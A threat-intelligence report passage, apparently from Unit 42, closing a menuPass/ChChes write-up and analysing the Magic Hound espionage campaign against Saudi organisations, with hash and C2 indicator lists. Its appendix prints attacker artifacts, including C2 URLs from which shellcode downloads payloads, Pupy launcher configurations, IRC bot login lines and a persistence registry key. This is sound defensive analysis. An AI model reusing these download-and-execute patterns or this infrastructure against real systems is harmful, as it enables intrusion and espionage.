ChChes acts as an initial infiltration point on a victim machine. It has the ability to load additional code that in turn may accomplish any number of tasks. During analysis, no C2 servers were found to be active, and Unit 42 was unable to identify any modules being loaded by ChChes. However, the JPCERT also recently analyzed this family and was able to collect modules that give ChChes the following functions:

  • Encryption of communication by AES
  • Execute shell command
  • Uploading and downloading files
  • Loading and executing the DLL
  • Task list of bot command

However, the lack of persistence built into ChChes suggests that it by itself is not intended to run on a victim’s machine for long periods of time.  In a successful intrusion, it may be only a first stage tool used by the attackers to orient where they landed in a network, and other malware will be deployed as a second stage layering for persistence and additional access as the attackers move laterally through a network.

Conclusion

These attacks show Japan continues to be a target of interest to APT campaigns. menuPass has targeted individuals and organizations in Japan since at least 2014, and as the same organizations and academics were largely targeted each month in these attacks, it further shows menuPass is persistent in attempts to compromise their targets.  menuPass also heavily favors spear phishing, and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy. This, and their persistence, highlights the need for training and awareness of spear phishing on the part of both individuals and organizations likely to be targeted. menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future.

Palo Alto Networks customers are protected from these malware families and C2 infrastructure by:

  • All C2 domains are flagged as malicious in Threat Prevention and PAN-DB
  • All three families are properly tagged malware by WildFire. Autofocus subscribers can learn more about each family via their tags:

Additionally, Autofocus subscribers can learn more about menuPass by exploring tied activity with the menuPass tag.

Indicators of Compromise

SHA256 Hashes

ChChes

5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1

e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b

ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145

fd6a956a7708708cddff78c8505c7db73d7c4e961da8a3c00cc5a51171a92b7b

2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910

316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d

efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057

6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e

fadf362a52dcf884f0d41ce3df9eaa9bb30227afda50c0e0657c096baff501f0

2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699

e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0

d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed

e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e

4521a74337a8b454f9b80c7d9e57b4c9580567f84e513d9a3ce763275c55e691

bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91

c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d

f251485a62e104dfd8629dc4d2dfd572ebd0ab554602d682a28682876a47e773

b20ce00a6864225f05de6407fac80ddb83cd0aec00ada438c1e354cdd0d7d5df

c6b8ed157eed54958da73716f8db253ba5124a0e4b649f08de060c4aa6531afc

9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c

cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628

4cc0adf4baa1e3932d74282affb1a137b30820934ad4f80daceec712ba2bbe14

312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3

45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2

19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b

 

PlugX

f1ca9998ca9078c27a6dab286dfe25fcdfb1ad734cc2af390bdcb97da1214563

6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3

6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586

9f01dd2b19a1032e848619428dd46bfeb6772be2e78b33723d2fa076f1320c57

6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586

76721d08b83aae945aa00fe69319f896b92c456def4df5b203357cf443074c03

dcff19fc193f1ba63c5dc6f91f00070e6912dcec3868e889fed37102698b554b

7eeaa97d346bc3f8090e5b742f42e8900127703420295279ac7e04d06ebe0a04

a6b6c66735e5e26002202b9d263bf8c97e278f6969c141853857000c8d242d24

5412cddde0a2f2d78ec9de0f9a02ac2b22882543c9f15724ebe14b3a0bf8cbda

92dbbe0eff3fe0082c3485b99e6a949d9c3747afa493a0a1e336829a7c1faafb

 

PIVY

f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06

412120355d9ac8c37b5623eea86d82925ca837c4f8be4aa24475415838ecb356

44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce

9edf191c6ca1e4eddc40c33e2a2edf104ce8dfff37b2a8b57b8224312ff008fe

 

C2s

dick[.]ccfchrist[.]com

trout[.]belowto[.]com

sakai[.]unhamj[.]com

zebra[.]wthelpdesk[.]com

area[.]wthelpdesk[.]com

kawasaki[.]cloud-maste[.]com

kawasaki[.]unhamj[.]com

fukuoka[.]cloud-maste[.]com

scorpion[.]poulsenv[.]com

lion[.]wchildress[.]com

fbi[.]sexxxy[.]biz

cia[.]toh[.]info

2014[.]zzux[.]com

nttdata[.]otzo[.]com

iphone[.]vizvaz[.]com

app[.]lehigtapp[.]com

jimin[.]jimindaddy[.]com

Jepsen[.]r3u8[.]com

inspgon[.]re26[.]com

nunluck[.]re26[.]com

yahoo[.]incloud-go[.]com

msn[.]incloud-go[.]com

www[.]mseupdate[.]ourhobby[.]com

contractus[.]qpoe[.]com

apple[.]cmdnetview[.]com

cvnx[.]zyns[.]com

 

Magic Hound Campaign Attacks Saudi Targets

Posted on by Bryan Lee

Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an attack campaign focused on espionage. Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks. Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called “Rocket Kitten” (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters. Artifacts of this campaign was also recently published by Secureworks CTU.

We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others. It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros. Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016.

ATTACK DETAILS

The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros. We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy.

The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance. The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors. Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion. At the time of investigation, the files had already been removed from the websites. The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor. A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain.

Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink.

It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism. We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound.

The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools. A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents. They ranged from documents masquerading as official Saudi government forms to a holiday greetings card. The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled. Examples of the documents can be seen below:

ex2

INFRASTRUCTURE

Analysis of the weaponized documents revealed some peculiarities right away. The majority of documents used the name “gerry knight” for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names. These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers. Two of the Word documents using the “gerry knight” author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date. Using these domains as pivot points, we were able to expand our data set. As seen below, the relational analysis proved to be quite fruitful:

fig1

Figure 1 Overview of relationships

We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.]date as seen in the following graphic:

fig1a

Figure 2 Command and control overlaps

From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads. What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind.

In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence. These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.

Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK.

fig1b

Figure 3 Rocket Kitten and Magic Hound infrastructure overlap

The MPK bot is not publicly available and had previously been attributed to an adversary group called “Rocket Kitten” which has often been thought to be a state sponsored adversary operating in the Middle East region. Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship.

MAGIC HOUND TOOLSET

The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros. During our analysis, we were able to determine the ultimate payload for several of these attacks. One payload was a Python based open source remote administration tool (RAT) called Pupy. A second payload was an IRC bot we have named MagicHound.Leash. We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload. While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploit's Meterpreter as a potential payload as well.

We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1. Additional details for these tools may be found in the appendix.

TYPE NAME
Dropper MagicHound.DropIt
Executable Loader MagicHound.Fetch
Document Loader MagicHound.Rollover
Downloader MagicHound.Retriever
IRC Bot MagicHound.Leash

Table 1  Types of MagicHound tools and their Corresponding Names

MAGICHOUND.ROLLOVER

The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”.

MAGICHOUND.FETCH

In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server. Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use. The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot.

Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server. To set up persistence, the loader writes a file to "c:\temp\rr.exe" and executes it with specific command line arguments to create auto run registry keys. All Fetch samples drop the same exact executable to set up persistence.

Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key "agkrhfpdbvhdhrkj". The loader's main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL:

http://www7.chrome-up[.]date/0m5EE

We were not able to retrieve the shellcode hosted at this URL. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload which is likely to be meterpreter.

PUPY LOADER

The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android. We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses. Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project.

MAGICHOUND.DROPIT

The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt. The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper then saves the executable to the user’s %TEMP% folder and executes the file.

We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host. The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user. These types of tactics are generally used for evasion and to not trigger and suspicion from the victim. In one example, the decoy executable was a legitimate Flash installer, therefore from the victim’s perspective, they would experience the expected behavior of a Flash installer.

MAGICHOUND.RETRIEVER

We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2. Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4.

fig3

Figure 4 Retriever HTTP request sent to its C2 server

MAGICHOUND.LEASH

The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.

Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with "AS_" or "AF_".

fig4

Figure 5 Lecash bot responding to VER command

There are a great deal of similarities between the IRC bot originally discussed in iSight's NEWSCASTER whitepaper and LEASH. iSight's whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2:

Parastoo Trojan MagicHound.Leash
USER AS_ # # :des

NICK t__982

JOIN :#tistani Parastoo

 USER AS_a # # :des

NICK Conroy

JOIN :#kalk

 

Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples. In addition to sharing significant portions of code, both of the IRC bots require an IRC user's nickname to start with either "AF_" or "AS_" to run commands on the system. Also, the two bots have similar responses to "VER" commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash.

fig5

Figure 6 Parastoo Trojan responding to commands in similar manner to Leash

MPKBot

We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a  whitepaper by CheckPoint regarding a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap.

CONCLUSION

The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region. Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia. The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public. None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets. While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound.

Palo Alto Networks customers are protected via the following:

INDICATORS OF COMPROMISE

MagicHound.DropIt SHA256

c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d

ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba

da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a

0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab

f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396

860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2

b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061

4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf

5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305

3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502

 

MagicHound.Fetch PE SHA256

b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c

6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed

16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd

92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5

86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4

c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143

a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06

d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6

79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932

2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a

8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75

abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26

9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656

e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263

ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0

eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a

1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1

29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309

 

MagicHound.Fetch PE C2

service.chrome-up[.]date

www3.chrome-up[.]date

www7.chrome-up[.]date

timezone[.]live

service1.chrome-up[.]date

104.238.184[.]252

www5.chrome-up[.]date

servicesystem.serveirc[.]com

 

MagicHound.Fetch DOC SHA256

218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2

e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6

71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087

388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d

33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e

5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da

528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62

66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b

cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864

68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964

e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087

f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143

af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9

6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031

 

MagicHound.Fetch DOC C2

45.76.128[.]165

139.59.46[.]154

104.218.120[.]128

89.107.62[.]39

69.87.223[.]26

analytics-google[.]org

89.107.60[.]11

www3.chrome-up[.]date

www.microsoftsubsystem.com-adm[.]in

www1.chrome-up[.]date

 

MagicHound.Fetch XLS SHA256

6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b

97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade

 

MagicHound.Fetch XLS C2

45.76.128[.]165

139.59.46[.]154

 

Pupy Loaders SHA256

7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73

db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f

82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190

 

Pupy Loaders C2

139.59.46[.]154

www1.chrome-up[.]date

 

MagicHound.Retriever SHA256

1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce

7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823

b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6

3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1

 

MagicHound.Retriever C2

service.chrome-up[.]date

msservice[.]site

microsoftexplorerservices[.]cloud

 

MagicHound.Leash SHA256

133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5

ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4

d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf

 

MagicHound.Leash C2

45.56.123[.]129

syn.timezone[.]live

 

MPKBot SHA256

d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19

 

MPKBot C2

45.58.37[.]142

Appendix

MAGICHOUND.ROLLOVER

The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or possibly Meterpreter. We call this tool MagicHound.Rollover. In one example, the Word document contained a button with the label “First click "Enable Content" above the page, then click here to fill out the form”

pg16

This string attempts to trick the user into enabling macros to execute the malicious code within the macro. When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background. The macro contains malicious code that attempts to download content from a remote server.

The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques. The first technique is rather straightforward, using PowerShell’s "iex" function to execute a string obtained from a remote server. The macro carries out this first technique by running the following command:

The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute:

GET /eiloShaegae1 HTTP/1.1
Host: 139.59.46[.]154:3485
Connection: Keep-Alive

The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code. The Unicorn source code contains a comment for this specific PowerShell command, which is described as a “one line shellcode injection with native x86 shellcode”.

The shellcode begins with a stub that is responsible for decrypting additional shellcode. To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode. It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on. After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system. The assembly code used to create the shellcode can be obtained from:

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL "hxxp://45.76.128[.]165:4443/0w0O6". We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode.

Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code to execute. On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:

As you can see, the C2 server responds with a PowerShell command that will run on the system. The PowerShell command decodes to the following:

The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:

This decoded PowerShell script attempts to download and execute a file using HTTP from the URL "hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai". The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code:

The PowerShell script loads the DLL payload directly into memory without saving it to the disk. The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the "obfs3" transport:

It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents:

https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py

MAGICHOUND.FETCH

The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload. To set up persistence, the loader creates a folder named "c:\temp", sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer. It then writes a file named "rr.exe" (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments. During our analysis, we observed one loader running “rr.exe” with the following arguments:

The "rr.exe" payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts. In the example above, the "spp.exe" executable would be added to an auto-run registry key at:

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore

Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key "agkrhfpdbvhdhrkj"; however, the loader's main goal involved running the following command:

The base64 encoded command decodes to the following:

The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it. We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL:

http://www7.chrome-up[.]date/0m5EE

We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload. The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload.

PUPY LOADER

Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and  We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. We have gathered three samples of the default loader associated with this group and extracted the following configurations:

SHA256 of Sample Configuration
82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS=['--host', 'www1.chrome-up[.]date:4443', '-t', 'obfs3']
db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS=['--host', 'www1.chrome-up[.]date:4443', '-t', 'obfs3']
7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3']

 

These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers. Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project.

MAGICHOUND.DROPIT

The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt.

The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames:

  • %TEMP%\spp.exe
  • %TEMP%\sloo.exe
  • %TEMP%\spoo.exe
  • %TEMP%\vschos.exe

We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload. For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to “%TEMP%\flash_update.exe” that was a legitimate Flash Player installer. We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player.

MAGICHOUND.RETRIEVER

We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound. While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named "c:\temp" that the Magic Hound loader creates to store its persistence executable, as previously discussed. The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two.

The Retriever Trojan uses the following namespace:

using pcchekapp.grp.ammar.samaneh;

Android.The malware begins by creating a web service object and uses the following URL within its configuration:

http:// service.chrome-up[.]date:8080 /WebService.asmx

It then calls a function called "SetLog2", which sets variables for the system's IP address, MAC address and hostname. A password variable is available but unused in this sample. The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response.

Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as:

pg21

